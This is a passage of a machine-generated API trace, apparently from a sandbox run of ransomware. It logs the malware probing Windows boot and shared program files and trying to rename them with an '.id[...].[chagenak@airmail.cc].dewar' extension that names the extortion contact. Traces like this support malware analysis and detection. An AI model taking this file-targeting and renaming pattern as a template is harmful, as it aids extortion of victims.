(lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.646] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0214.646] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=90176) returned 1 [0214.646] CloseHandle (hObject=0x1b8) returned 1 [0214.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0214.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0214.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0214.647] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.649] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0214.649] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=89664) returned 1 [0214.650] CloseHandle (hObject=0x1b8) returned 1 [0214.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0214.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0214.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0214.650] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.651] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0214.651] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=90192) returned 1 [0214.652] CloseHandle (hObject=0x1b8) returned 1 [0214.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0214.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0214.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0214.652] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.654] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0214.654] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=87616) returned 1 [0214.654] CloseHandle (hObject=0x1b8) returned 1 [0214.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0214.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0214.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0214.655] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.656] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0214.656] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=87104) returned 1 [0214.656] CloseHandle (hObject=0x1b8) returned 1 [0214.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20 [0214.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20 [0214.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0214.657] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.658] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0214.658] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=70720) returned 1 [0214.658] CloseHandle (hObject=0x1b8) returned 1 [0214.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20 [0214.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20 [0214.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0214.659] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.659] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0214.660] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=70224) returned 1 [0214.660] CloseHandle (hObject=0x1b8) returned 1 [0214.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20 [0214.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20 [0214.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0214.661] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.661] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0214.662] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=70208) returned 1 [0214.662] CloseHandle (hObject=0x1b8) returned 1 [0214.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20 [0214.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20 [0214.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0214.663] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.663] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0214.664] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=383786) returned 1 [0214.664] CloseHandle (hObject=0x1b8) returned 1 [0214.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0214.665] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0214.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0214.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\bootmgr.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0214.666] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.666] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x27) returned 0 [0214.666] CreateFileW (lpFileName="\\\\?\\C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.667] CreateFileW (lpFileName="\\\\?\\C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.668] ResetEvent (hEvent=0x144) returned 1 [0214.668] SetEvent (hEvent=0x148) returned 1 [0215.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0215.691] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=99136) returned 1 [0215.692] CloseHandle (hObject=0x1c4) returned 1 [0215.692] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 0x20 [0215.692] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 0x20 [0215.692] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0215.692] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0215.972] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=176311) returned 1 [0215.972] CloseHandle (hObject=0x1d0) returned 1 [0215.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 0x20 [0215.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 0x20 [0215.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0215.973] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.974] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0216.499] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=606062) returned 1 [0216.500] CloseHandle (hObject=0x1c4) returned 1 [0216.500] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt")) returned 0x20 [0216.500] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt")) returned 0x20 [0216.500] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0216.500] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.501] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0216.503] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1257984) returned 1 [0216.503] CloseHandle (hObject=0x1c4) returned 1 [0216.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll")) returned 0x20 [0216.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll")) returned 0x20 [0216.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0216.503] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.504] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0216.506] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1831424) returned 1 [0216.506] CloseHandle (hObject=0x1c4) returned 1 [0216.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll")) returned 0x20 [0216.506] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0216.507] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll")) returned 0 [0216.507] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0216.509] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=430080) returned 1 [0216.510] CloseHandle (hObject=0x1c4) returned 1 [0216.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll")) returned 0x20 [0216.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll")) returned 0x20 [0216.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0216.510] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.511] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0217.261] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=791686) returned 1 [0217.261] CloseHandle (hObject=0x1c4) returned 1 [0217.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0217.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0217.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0217.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0217.264] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4096) returned 1 [0217.264] CloseHandle (hObject=0x1c4) returned 1 [0217.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0217.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0217.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0217.265] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common 